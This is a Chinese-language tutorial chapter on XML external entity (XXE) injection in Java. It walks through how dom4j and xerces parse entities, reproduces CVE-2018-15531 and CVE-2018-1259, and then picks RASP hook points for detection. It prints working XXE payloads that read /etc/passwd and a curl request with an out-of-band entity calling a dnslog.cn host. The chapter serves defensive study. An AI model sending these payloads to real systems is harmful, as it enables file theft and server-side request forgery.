Skip to content

外部实体注入原理与检测

XXE即XML外部实体注入(XML Enternal Entity Injection),应用程序在解析XML的时候,对外部实体进行解析而可加载恶意文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。 本章将先介绍XML的基本结构和解析工具,然后介绍XXE的利用原理和防护策略,最后给出Hook点和检测算法。

14.1 XML基础知识

14.1.1 XML文档基本结构

XML文档结构遵循一定的规则和组件组织,主要包括三部分:XML声明、文档类型定义(即DTD,XXE漏洞所在的地方)和文档元素。

  • XML声明(可选)

XML文档可以以一个XML声明开始,它提供了关于文档本身的元信息,如版本号和字符编码。例如:

xml
<?xml version="1.0" encoding="UTF-8"?>
  • 文档类型定义(DTD)

DTD或XML Schema用于定义文档的合法结构、元素、属性及它们的关系。DTD的引用可能看起来像这样:

xml
<!DOCTYPE rootElement SYSTEM "myDTD.dtd">

或者使用XML Schema:

xml
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
    <!-- schema definitions go here -->
</xs:schema>
  • 元素结构

根元素:每个XML文档必须有且仅有一个根元素,它是所有其他元素的容器。

子元素:元素可以包含其他元素作为其子元素,形成层次结构。

属性:元素可以具有属性,属性为名称/值对,提供有关元素的附加信息。

文本内容:元素可以包含文本内容,或者是字符数据(CDATA)段。

注释:XML文档中可以包含注释,注释不会影响文档的解析。

下面的 xml 文档包含了规定的基本结构:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!-- 此XML文档示例描述了一个简单的图书目录 -->

<!DOCTYPE catalog [
    <!ELEMENT catalog (book*)>
    <!ELEMENT book (title, author+, year)>
    <!ATTLIST book id ID #REQUIRED>
    <!ELEMENT title (#PCDATA)>
    <!ELEMENT author (#PCDATA)>
    <!ELEMENT year (#PCDATA)>
]>

<catalog>
    <!-- 书籍条目开始 -->
    <book id="bk101">
        <title>XML入门</title>
        <author>张三</author>
        <author>李四</author>
        <year>2005</year>
        <description><![CDATA[这本书是XML初学者的完美指南,详细介绍了XML的基础与高级概念。]]></description>
    </book>
    
    <book id="bk102">
        <title>Java编程</title>
        <author>王五</author>
        <year>2009</year>
    </book>
    <!-- 书籍条目结束 -->
</catalog>

14.1.2 XML外部实体

DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在 XML文档内声明,也可以外部引用。

  • 内部实体
java
<!DOCTYPE foo [
	<!ELEMENT foo ANY >
	<!ENTITY bar "hello">
]>
<foo>&bar;</foo>
  • 外部实体

外部实体,有SYSTEM和PUBLIC两个关键字,表示实体来自本地服务和公共服务。外部实体举例如下:

java
<?xml version="1.0"?>
<!DOCTYPE mage[
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>

在文档约束部分定义了一个外部实体file,在文档元素部分引用了这个实体,引用实体的格式为:&实体名称;

14.2 外部实体解析源码分析

14.2.1 外部实体注入读取文件

包含外部实体注入的xxe.xml文档如下:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
        <!ENTITY firstname SYSTEM "file:///etc/passwd" >
        ]>
<user>
    <firstname>&firstname;</firstname>
    <lastname>lastname</lastname>
</user>

使用Dom4j来解析上面的xml文档,代码如下:

java
import org.dom4j.Document;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;

import java.io.File;

public class Main {
    public static void main(String[] args) throws Exception {
        File file = new File("src/main/resources/xxe.xml");
        Document doc = new SAXReader().read(file);
        Element rootElement = doc.getRootElement();
        System.out.println(rootElement.element("firstname").getText());
    }
}

输出结果:

java
##
# User Database
# 
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
_taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false

//...限于篇幅,读取结果仅展示一部分

14.2.2 源码解析与debug

dom4j读取xml文档并解析的全过程如下,主要分为三个步骤:

14.2.2.1 xml文件路径处理

SAXReader.read方法主要功能是获取磁盘xml文件的绝对路径并设置source对象的资源路径。

图14-1 SAXReader 读取磁盘文件

图14-1 SAXReader 读取磁盘文件

xxe.xml文件的相对路径为src/main/resources/xxe.xml,在上面代码第308行,获取xml文件的磁盘的绝对路径,并用URL的形式表示inputSource的资源路径。在代码325行处调用了SAXReader.read的重载方法。

14.2.2.2 创建XmlReader对象

2.jpg

在代码464行处,调用getXMLReader方法创建了一个XmlReader对象,该对象是解析xml文档的关键,来看下它的实现。 通过debug可以知道,创建XMLReader的关键代码如下: 3.jpg

在代码46行处获取SAXParserFactory的实例,并调用工厂类实例的newSAXParser方法,而SAXParserFactory是一个抽象类,来看下工厂类是如何实例化的,它的初始化代码: 4.jpg

从代码可以看出,工厂类的实现为SAXParserFactoryImpl,来看下它的newSAXParser方法的实现: 5.jpg

可以看出在newSAXParser方法中,创建了SAXParserImpl对象,然后调用了getXmlReader方法如下: 6.jpg

而xmlReader的初始化在SAXParserImpl构造函数中,来看下SAXParserImpl的构造器方法: 7.jpg

至此解析xml的类为JAXPSAXParser,该类为SAXParser的子类,其UML类图如下:

8.jpg

14.2.2.3 xml文档解析

在创建完成xmlReader对象后,开始对xml文档读取。 从上面的UML类图可以看出实际负责解析的类是JAXPSAXParser,该类为SAXParserImpl的内部类,parse方法如下: Xnip2024-07-08_09-35-58.jpg

实际调用其父类的parser方法,实现如下:

Xnip2024-07-08_09-36-36.jpg

在代码1216行可以看出,实际调用了XMLParser类的parse方法:

Xnip2024-07-08_09-37-21.jpg

在该方法中fConfiguration负责解析XML,fConfiguration所属的类是一个接口XMLParserConfiguration,该接口的UML类图如下: Xnip2024-07-08_09-52-09.jpg

可以看出,实际负责解析的类是XML11Configuration类,相关方法如下:

Xnip2024-07-08_09-38-45.jpg

Xnip2024-07-08_09-40-00.jpg

这里实际调用了fCurrentScanner.scanDocument,这里才开始进行真正的文档扫描, Xnip2024-07-08_09-57-19.jpg

来看next方法,可以看出next方法将xml文档解析为一个个事件: Xnip2024-07-08_10-44-55.jpg

我们重点关注实体引用的解析: Xnip2024-07-08_10-48-35.jpg

在扫描实体引用时调用了scanEntityReference方法,该方法代码如下: Xnip2024-07-08_10-57-50.jpg 在代码 1238 行调用startEntity方法解析解析实体。 Xnip2024-07-08_10-50-25.jpgXnip2024-07-08_10-51-33.jpg setupCurrentEntity负责解析实体资源,实现如下: Xnip2024-07-08_10-52-48.jpg

至此,XML文档中的外部实体引用的解析过程debug完成。

14.3 XXE漏洞举例

14.3.1 CVE-2018-15531

  • 漏洞简介

JavaMelody是一款在生产和QA环境中对JAVA应用以及应用服务器(Tomcat、Jboss、Weblogic)进行监控的工具,可以通过图表给出监控数据,方便研发运维等找出响应瓶颈、优化响应等。 在 1.74.0版本,修复了一个XXE漏洞,漏洞编号CVE-2018-15531。攻击者利用漏洞,可以读取JavaMelody服务器上的敏感信息。

  • 影响版本

版本 < 1.74.0

  • 修复代码

图 JavaMelody修复代码commit

commit的链接地址:https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353

  • 漏洞环境工程

创建一个简单的Springboot工程,并在pom.xml中增加javamelody的指定版本依赖。

java
<dependency>
    <groupId>net.bull.javamelody</groupId>
    <artifactId>javamelody-spring-boot-starter</artifactId>
    <version>1.73.1</version>
</dependency>

启动应用后访问 http://localhost:8080/monitoring 监控页面,结果如下:

图 JavaMelody修复代码commit

  • 申请一个dns域名

域名4yf5lc.dnslog.cn图 JavaMelody修复代码commit

发送请求如下

java
curl --location --request POST 'http://localhost:8080' \
--header 'Content-type: text/xml' \
--header 'SOAPAction: aaaaa' \
--data-raw '<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://www.4yf5lc.dnslog.cn">
%remote;
]>
</root>'

也可以用postman发送请求: 图 用postman发送请求

  • 观察结果

可以看到dnslog.cn平台记录了服务端的IP信息。 图 XXE攻击结果

使用RASP截获部分日志如下:

图 XXE攻击结果

14.3.2 CVE-2018-1259

  • 漏洞简介

XMLBeans 提供了底层XML数据的对象视图,同时还能访问原始的XML信息集合。Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本在与XMLBeam1.4.14或更早的版本进行结合使用时,XMLBeam不会限制XML外部实体应用,导致未经身份验证的远程恶意用户可以针对Spring Data的请求绑定特定的参数,访问系统上的任意文件.

  • 影响版本

Spring Data Commons 1.13 to 1.13.11

Spring Data REST 2.6 to 2.6.11

Spring Data Commons 2.0 to 2.0.6

Spring Data REST 3.0 to 3.0.6

  • 漏洞分析

通过 漏洞修复commit发现,对DefaultXMLFactoriesConfig文件进行了修改,如下: 图 用postman发送请求

commit: https://github.com/SvenEwald/xmlbeam/commit/f8e943f44961c14cf1316deb56280f7878702ee1

配置了默认的feature、禁止实体引用和禁止合并多个XML文档

  • 复现

代码来源于 spring-data-examples 官方demo spring-data-xml-xxe

  • 代码来源于spring-data-examples官方工程,关键代码如下:
java
@RestController
class UserController {
    @ProjectedPayload
    public interface UserPayload {
        @XBRead("//firstname")
        @JsonPath("$..firstname")
        String getFirstname();

        @XBRead("//lastname")
        @JsonPath("$..lastname")
        String getLastname();
    }

    @PostMapping(value = "/")
    HttpEntity<String> post(@RequestBody UserPayload user) {
        return ResponseEntity
                .ok(String.format("Received firstname: %s, lastname: %s", user.getFirstname(), user.getLastname()));
    }
}

项目pom.xml依赖:

java
<dependency>
    <groupId>org.springframework.data</groupId>
    <artifactId>spring-data-commons</artifactId>
    <version>2.0.5.RELEASE</version>
</dependency>

<dependency>
    <groupId>com.jayway.jsonpath</groupId>
    <artifactId>json-path</artifactId>
</dependency>

<dependency>
    <groupId>org.xmlbeam</groupId>
    <artifactId>xmlprojector</artifactId>
    <version>1.4.13</version>
</dependency>

如果熟悉springboot工程的创建,上面的代码能够构建完成的应用。 工程构建完成之后,编译成可执行jar包并运行

shell
mvn clean package
java -jar ./target/xxe-demo-0.0.1-SNAPSHOT.jar
  • 发起请求

任意文件读取,使用post发送xml格式的payload 如下:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
        <!ELEMENT foo ANY >
        <!ENTITY file SYSTEM "file:///etc/passwd" >
        ]>
<user><firstname>&file;</firstname><lastname>rasp</lastname></user>

使用post man 发送请求如下: 图 用postman发送请求

  • 观察结果

使用RASP截获部分日志如下:

图 XXE攻击结果

14.4 Hook点选取与检测算法

14.4.1 Hook类选择

尽管解析XML的中间件非常多,只需要Hook xml实体解析部分即可,例如DOM4J和JAXP工具解析XML实体都依赖apache-xerces,相关hook点总结如下:

  • 开源工具apache.xerces

org.apache.xerces.impl.XMLEntityManager#startEntity(String, org.apache.xerces.xni.parser.XMLInputSource, boolean, boolean)

开源工具 org.apache.xerces

  • JDK内部的apache.xerces工具

com.sun.org.apache.xerces.internal.impl.XMLEntityManager#startEntity(boolean, String, com.sun.org.apache.xerces.internal.xni.parser.XMLInputSource, boolean, boolean)

JDK自带的apache.xerces工具

可以看出上面的2个hook点除了包名称不一样之外,参数列表还存在一些差异。

  • 开源工具 wstx

com.ctc.wstx.sr.StreamScanner#expandEntity(com.ctc.wstx.ent.EntityDecl, boolean)

开源工具 com.ctc.wstx

14.4.2 检测算法

XXE漏洞在Java 中能够利用的协议有限,能支持的协议全部在sun.net.www.protocol包下,JDK8和JDK11支持的协议分别为:

JDK11:jmod,jrt,mailto,file,ftp,http,https,jar;

JDK8:mailto,netdoc,file,ftp,http,https,jar;

获取外部实体资源的协议名称,路径和主机名称,并分别做检测即可,参数获取与检测如下:

获取参数方法如下: Xnip2024-05-11_08-21-13.jpg

对参数进行检测的算法如下: Xnip2024-07-09_08-17-48.jpg